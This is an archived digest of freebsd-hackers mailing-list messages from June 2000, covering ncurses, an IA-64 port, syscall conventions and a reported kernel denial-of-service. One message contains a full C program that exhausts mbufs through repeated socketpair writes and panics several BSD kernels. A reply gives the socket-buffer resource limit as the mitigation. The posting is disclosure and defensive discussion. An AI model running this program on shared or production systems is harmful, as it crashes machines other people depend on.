Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 21B1D37B693; Sat, 3 Jun 2000 12:10:12 -0700 (PDT) Date: Sat, 3 Jun 2000 12:10:11 -0700 From: "Andrey A. Chernov" To: Gerald Pfeifer Cc: freebsd-hackers@freebsd.org, Peter Wemm , Wei Dai Subject: Re: -STABLE (was: ncurses.h and #define trace _nc_trace) Message-ID: <20000603121011.A91492@freebsd.org> References: <20000526073056.A12504@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from pfeifer@dbai.tuwien.ac.at on Sat, Jun 03, 2000 at 07:10:56PM +0200 Organization: Biomechanoid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Jun 03, 2000 at 07:10:56PM +0200, Gerald Pfeifer wrote: > On Fri, 26 May 2000, Andrey A. Chernov wrote: > > Yes, #define was a quick solution. > > We need either to add a stub or to import ncurses author fix (removing > > all trace function from production library). > > > > Latest is better IMHO, but I left to choose best way to Peter. > > However you do it, please fix this ASAP, and be it by reverting the > original, broken patch! I wish but I can't. If I'll touch those misterious CVS branches structure again, everyone shoot at me as in previous time. I think it is enough for me. Nowdays some mystic with CVS branches values much more than fixes. :-( Peter is only person who understand and responsible for this stuff with CVS branches, ask him to either a) remove define from curses.h or b) add stub or c) import official ncurses snapshot. Reverting _completely_ to previous state will be silly because broke even FreeBSD native applications. Please don't Cc me next time, I simple can't help. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 12:20:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id A281A37B693 for ; Sat, 3 Jun 2000 12:20:12 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (doug@master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id MAA62178; Sat, 3 Jun 2000 12:20:07 -0700 (PDT) (envelope-from DougB@gorean.org) Message-ID: <39395A66.E121CD77@gorean.org> Date: Sat, 03 Jun 2000 12:20:06 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 5.0-CURRENT-0528 i386) X-Accept-Language: en MIME-Version: 1.0 To: Belldandy Cc: hackers@freebsd.org Subject: Re: An IA-64 port? References: <39393DEF.B91727B0@tpts5.seed.net.tw> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Belldandy wrote: > > I was thinking: it seems that Linux will have an IA-64 port > ready when Itanium rolls out, as well as Windows, Solaris, etc. > > Is there any effort(or at least, any thought) on making an > IA-64 port of FreeBSD? Please check the mail archives before asking questions like this. Thanks, Doug -- "Live free or die" - State motto of my ancestral homeland, New Hampshire Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 14:33:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 81D2437BC72 for ; Sat, 3 Jun 2000 14:33:12 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id OAA21455; Sat, 3 Jun 2000 14:32:53 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Belldandy Cc: hackers@FreeBSD.ORG Subject: Re: An IA-64 port? In-reply-to: Your message of "Sun, 04 Jun 2000 01:18:39 +0800." <39393DEF.B91727B0@tpts5.seed.net.tw> Date: Sat, 03 Jun 2000 14:32:53 -0700 Message-ID: <21452.960067973@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Is there any effort(or at least, any thought) on making an > IA-64 port of FreeBSD? It seems Intel is trying to push IA-64 > to be 'the platform' for servers and workstations, and I think > FreeBSD definitely can't be left out.... Intel has furnished us with IA-64 hardware and a porting effort is already underway. Contact obrien@freebsd.org if you would like to help out in some way with the process. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 17:54:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.ptd.net (mail1.ha-net.ptd.net [207.44.96.65]) by hub.freebsd.org (Postfix) with SMTP id 9EFE637C4FA for ; Sat, 3 Jun 2000 17:54:15 -0700 (PDT) (envelope-from tms2@mail.ptd.net) Received: (qmail 22838 invoked from network); 4 Jun 2000 00:54:14 -0000 Received: from du207.cli.ptd.net (HELO mail.ptd.net) (204.186.33.207) by mail.ptd.net with SMTP; 4 Jun 2000 00:54:14 -0000 Message-ID: <3939A7E9.F948018@mail.ptd.net> Date: Sat, 03 Jun 2000 20:50:49 -0400 From: "Thomas M. Sommers" Organization: None X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Assembly programming under FreeBSD References: <200006031520.LAA06255@rac4.wam.umd.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James Howard wrote: > > Having just read Konstantin Boldyshev's introduction to FreeBSD assembly > programming, I have a couple of questions. > > When I looked through some code in the source tree (and with a little > background from the article), I noticed that INT 80 interface appears to > be newer than an older interface, "CALL 7:0". When we was this change > made and why? Why was INT 80 chosen? Since this is the same as Linux's > interface, does this simplfy Linux emulation? Hinder it? It isn't the same as Linux's. Linux passes arguments to syscalls in registers, while FreeBSD puts them on the stack. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 18:54:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id BFAC537B6B1 for ; Sat, 3 Jun 2000 18:54:11 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA60426; Sat, 3 Jun 2000 18:54:09 -0700 (PDT) (envelope-from dillon) Date: Sat, 3 Jun 2000 18:54:09 -0700 (PDT) From: Matthew Dillon Message-Id: <200006040154.SAA60426@apollo.backplane.com> To: Alfred Perlstein Cc: James Howard , freebsd-hackers@FreeBSD.ORG Subject: Re: Assembly programming under FreeBSD References: <200006031520.LAA06255@rac4.wam.umd.edu> <20000603101851.U17973@fw.wintelcom.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> interface, does this simplfy Linux emulation? Hinder it? :> :> Also, this is more general, what does "CALL 7:0" do? :> :> Sorry for the silly question, I got curious. : :I could be totally off base, but I'm pretty sure (from memory) that :the lcall interface is the ICBS interface (some standard for x86 :unix binaries), the int 80 interface is supposedly quicker on more :recent CPUs so it's now the default. : :I'm pretty certain that FreeBSD will still honor any program that :uses the lcall interface. : :-- :-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Yes, your right. int 80 is considerably faster then lcall which is why we moved to it. FreeBSD will definitely honor any program using the old interface. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 19:49:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from csimo01.mx.cs.com (csimo01.mx.cs.com [152.163.225.74]) by hub.freebsd.org (Postfix) with ESMTP id 2305837BB09 for ; Sat, 3 Jun 2000 19:49:10 -0700 (PDT) (envelope-from HICKERSON5@cs.com) Received: from HICKERSON5@cs.com by csimo01.mx.aol.com (mail_out_v26.7.) id n.5b.6ad6c41 (3890) for ; Sat, 3 Jun 2000 22:49:03 -0400 (EDT) From: HICKERSON5@cs.com Message-ID: <5b.6ad6c41.266b1d9e@cs.com> Date: Sat, 3 Jun 2000 22:49:02 EDT Subject: HELP To: hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: CompuServe 2000 32-bit sub 100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG WHAT IS AN BSD? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 20:24: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.theinternet.com.au (zeus.theinternet.com.au [203.34.176.2]) by hub.freebsd.org (Postfix) with ESMTP id 270E737B8F8 for ; Sat, 3 Jun 2000 20:24:01 -0700 (PDT) (envelope-from akm@mail.theinternet.com.au) Received: (from akm@localhost) by mail.theinternet.com.au (8.9.3/8.9.3) id NAA44190; Sun, 4 Jun 2000 13:26:57 +1000 (EST) (envelope-from akm) From: Andrew Kenneth Milton Message-Id: <200006040326.NAA44190@mail.theinternet.com.au> Subject: Re: HELP In-Reply-To: <5b.6ad6c41.266b1d9e@cs.com> from "HICKERSON5@cs.com" at "Jun 3, 2000 10:49:02 pm" To: HICKERSON5@cs.com Date: Sun, 4 Jun 2000 13:26:57 +1000 (EST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG +----[ HICKERSON5@cs.com ]--------------------------------------------- | WHAT IS AN BSD? Automatic Nonsensical Buzzword Service Dispenser You can identify ANBSDs by their overfrequent use of the words 'Linux' and 'Open Source'. Commonly found in large, slow-moving old economy companies whose own products are hopelessly over-priced and are looking for something to make them appeal to a wider audience. This wider audience of course is Buzzword Deficient and require Buzzwords to be present in high quantities before their ability to sign cheques becomes apparent. ANBSDs have replaced the traditional Marketing Droid, but, have not added any substance. If you would like to find information on real products that do not suffer from ANBSDs try:- http://www.bsdi.com/ http://www.freebsd.org/ http://www.netbsd.org/ http://www.openbsd.org/ BSD in this context refers to Berkeley Systems Development and refers to a particularly stable variant of UNIX most stemming from a single common source called 4.4BSD -- Totally Holistic Enterprises Internet| P:+61 7 3870 0066 | Andrew Milton The Internet (Aust) Pty Ltd | F:+61 7 3870 4477 | ACN: 082 081 472 | M:+61 416 022 411 | Carpe Daemon PO Box 837 Indooroopilly QLD 4068 |akm@theinternet.com.au| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 21:59:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from po3.glue.umd.edu (po3.glue.umd.edu [128.8.10.123]) by hub.freebsd.org (Postfix) with ESMTP id 51A9937C7D5 for ; Sat, 3 Jun 2000 21:59:28 -0700 (PDT) (envelope-from howardjp@glue.umd.edu) Received: from z.glue.umd.edu (root@z.glue.umd.edu [128.8.10.71]) by po3.glue.umd.edu (8.9.3/8.9.3) with ESMTP id AAA08409; Sun, 4 Jun 2000 00:59:11 -0400 (EDT) Received: from z.glue.umd.edu (sendmail@localhost [127.0.0.1]) by z.glue.umd.edu (8.9.3/8.9.3) with SMTP id AAA06756; Sun, 4 Jun 2000 00:59:11 -0400 (EDT) Received: from localhost (howardjp@localhost) by z.glue.umd.edu (8.9.3/8.9.3) with ESMTP id AAA06752; Sun, 4 Jun 2000 00:59:10 -0400 (EDT) X-Authentication-Warning: z.glue.umd.edu: howardjp owned process doing -bs Date: Sun, 4 Jun 2000 00:59:10 -0400 (EDT) From: James Howard To: "Jordan K. Hubbard" Cc: Belldandy , hackers@FreeBSD.ORG Subject: Re: An IA-64 port? In-Reply-To: <21452.960067973@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 3 Jun 2000, Jordan K. Hubbard wrote: > Intel has furnished us with IA-64 hardware and a porting effort is > already underway. Contact obrien@freebsd.org if you would like to > help out in some way with the process. What can those of us just out here do? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 22: 6: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by hub.freebsd.org (Postfix) with ESMTP id 5AED637C7D5 for ; Sat, 3 Jun 2000 22:06:05 -0700 (PDT) (envelope-from adsharma@sharmas.dhs.org) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id WAA24623; Sat, 3 Jun 2000 22:05:53 -0700 Date: Sat, 3 Jun 2000 22:05:53 -0700 From: Arun Sharma Message-Id: <200006040505.WAA24623@sharmas.dhs.org> To: hackers@freebsd.org Subject: Re: An IA-64 port? In-Reply-To: References: Reply-To: adsharma@sharmas.dhs.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In muc.lists.freebsd.hackers, you wrote: > On Sat, 3 Jun 2000, Jordan K. Hubbard wrote: > > > Intel has furnished us with IA-64 hardware and a porting effort is > > already underway. Contact obrien@freebsd.org if you would like to > > help out in some way with the process. > > What can those of us just out here do? Download the docs from developer.intel.com and read them first ? -Arun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 22:35:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.bfm.org (mail.bfm.org [216.127.218.26]) by hub.freebsd.org (Postfix) with ESMTP id 470B937B585 for ; Sat, 3 Jun 2000 22:35:27 -0700 (PDT) (envelope-from adam@whizkidtech.net) Received: from WhizKid (r5.bfm.org [216.127.220.101]) by mail.bfm.org (Post.Office MTA v3.5.3 release 223 ID# 0-52399U2500L250S0V35) with SMTP id org; Sun, 4 Jun 2000 00:36:19 -0500 Message-Id: <3.0.6.32.20000604003505.008bfb10@mail85.pair.com> X-Sender: whizkid@mail85.pair.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Sun, 04 Jun 2000 00:35:05 -0500 To: "Thomas M. Sommers" , freebsd-hackers@FreeBSD.ORG From: "G. Adam Stanislav" Subject: Re: Assembly programming under FreeBSD In-Reply-To: <3939A7E9.F948018@mail.ptd.net> References: <200006031520.LAA06255@rac4.wam.umd.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 20:50 03-06-2000 -0400, Thomas M. Sommers wrote: >It isn't the same as Linux's. Linux passes arguments to syscalls in >registers, while FreeBSD puts them on the stack. It is often possible to write asm code that works on both: You put the values in the registers and then you push the registers. Cheers, Adam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 23:34:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from oleg.vsi.ru (oleg.vsi.ru [213.24.136.12]) by hub.freebsd.org (Postfix) with ESMTP id 8CBCC37B68F for ; Sat, 3 Jun 2000 23:34:43 -0700 (PDT) (envelope-from oleg@oleg.vsi.ru) Received: from localhost (oleg@localhost) by oleg.vsi.ru (8.9.3/8.9.3) with ESMTP id KAA00285 for ; Sun, 4 Jun 2000 10:34:40 +0400 (MSD) (envelope-from oleg@oleg.vsi.ru) Date: Sun, 4 Jun 2000 10:34:40 +0400 (MSD) From: Oleg Derevenetz To: freebsd-hackers@freebsd.org Subject: DoS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Denial of Service and kernel panic (out of mbuf) appears when following program executes (originally reported by Sven Berkenvs (sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6, NetBSD 1.4.1. #include #include #include #define BUFFERSIZE 204800 int main () { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 23:41: 5 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3E99937B605 for ; Sat, 3 Jun 2000 23:41:03 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e546ed705428; Sat, 3 Jun 2000 23:40:39 -0700 (PDT) Date: Sat, 3 Jun 2000 23:40:39 -0700 From: Alfred Perlstein To: Oleg Derevenetz Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DoS Message-ID: <20000603234039.X17973@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from oleg@oleg.vsi.ru on Sun, Jun 04, 2000 at 10:34:40AM +0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Oleg Derevenetz [000603 23:35] wrote: > Denial of Service and kernel panic (out of mbuf) appears when following > program executes (originally reported by Sven Berkenvs > (sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6, > NetBSD 1.4.1. [snip] --- Forwarded message not yet posted to bugtrack --- From bright@wintelcom.net Fri Jun 2 14:43:02 2000 Date: Fri, 2 Jun 2000 14:49:54 -0700 From: Alfred Perlstein To: Ussr Labs Cc: BUGTRAQ@SECURITYFOCUS.COM Subject: Re: Local FreeBSD, Openbsd, NetBSD, DoS Vulnerability Message-ID: <20000602144954.Q17973@fw.wintelcom.net> References: In-Reply-To: ; from labs@USSRBACK.COM on Wed, Aug 02, 2000 at 08:41:53AM -0300 * Ussr Labs [000602 13:08] wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Local FreeBSD, Openbsd, NetBSD, DoS Vulnerability [snip same old story about exhausting mbufs] FreeBSD 4 and above are not vulnerable if proper limits are put into place. These limits should be setup at the same time other limits (such as 'maxproc' to disallow forkbombing) are set up. Please see the the RLIMIT_SBSIZE option for setrlimit(2), it allows a reasonable limit to be set for users socket buffers. An undocumeted (which I just fixed) option for login.conf(5) 'sbsize' allows this restriction to be put into place for users: :sbsize=1048576:\ Of course the real solution is rmuser(8), but that's a matter of policy. hope this helps, -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 23:46:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from oleg.vsi.ru (oleg.vsi.ru [213.24.136.12]) by hub.freebsd.org (Postfix) with ESMTP id CC04837B567 for ; Sat, 3 Jun 2000 23:46:20 -0700 (PDT) (envelope-from oleg@oleg.vsi.ru) Received: from localhost (oleg@localhost) by oleg.vsi.ru (8.9.3/8.9.3) with ESMTP id KAA00299; Sun, 4 Jun 2000 10:46:17 +0400 (MSD) (envelope-from oleg@oleg.vsi.ru) Date: Sun, 4 Jun 2000 10:46:17 +0400 (MSD) From: Oleg Derevenetz To: Alfred Perlstein Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DoS In-Reply-To: <20000603234039.X17973@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 3 Jun 2000, Alfred Perlstein wrote: > > Denial of Service and kernel panic (out of mbuf) appears when following > > program executes (originally reported by Sven Berkenvs > > (sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6, > > NetBSD 1.4.1. > > FreeBSD 4 and above are not vulnerable if proper limits are put > into place. These limits should be setup at the same time other > limits (such as 'maxproc' to disallow forkbombing) are set up. > > Please see the the RLIMIT_SBSIZE option for setrlimit(2), it allows > a reasonable limit to be set for users socket buffers. > > An undocumeted (which I just fixed) option for login.conf(5) 'sbsize' > allows this restriction to be put into place for users: > > :sbsize=1048576:\ Aha, thanks. BTW, how with RLIMIT_MAP to limit mmap() operations ? > Of course the real solution is rmuser(8), but that's a matter of > policy. :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message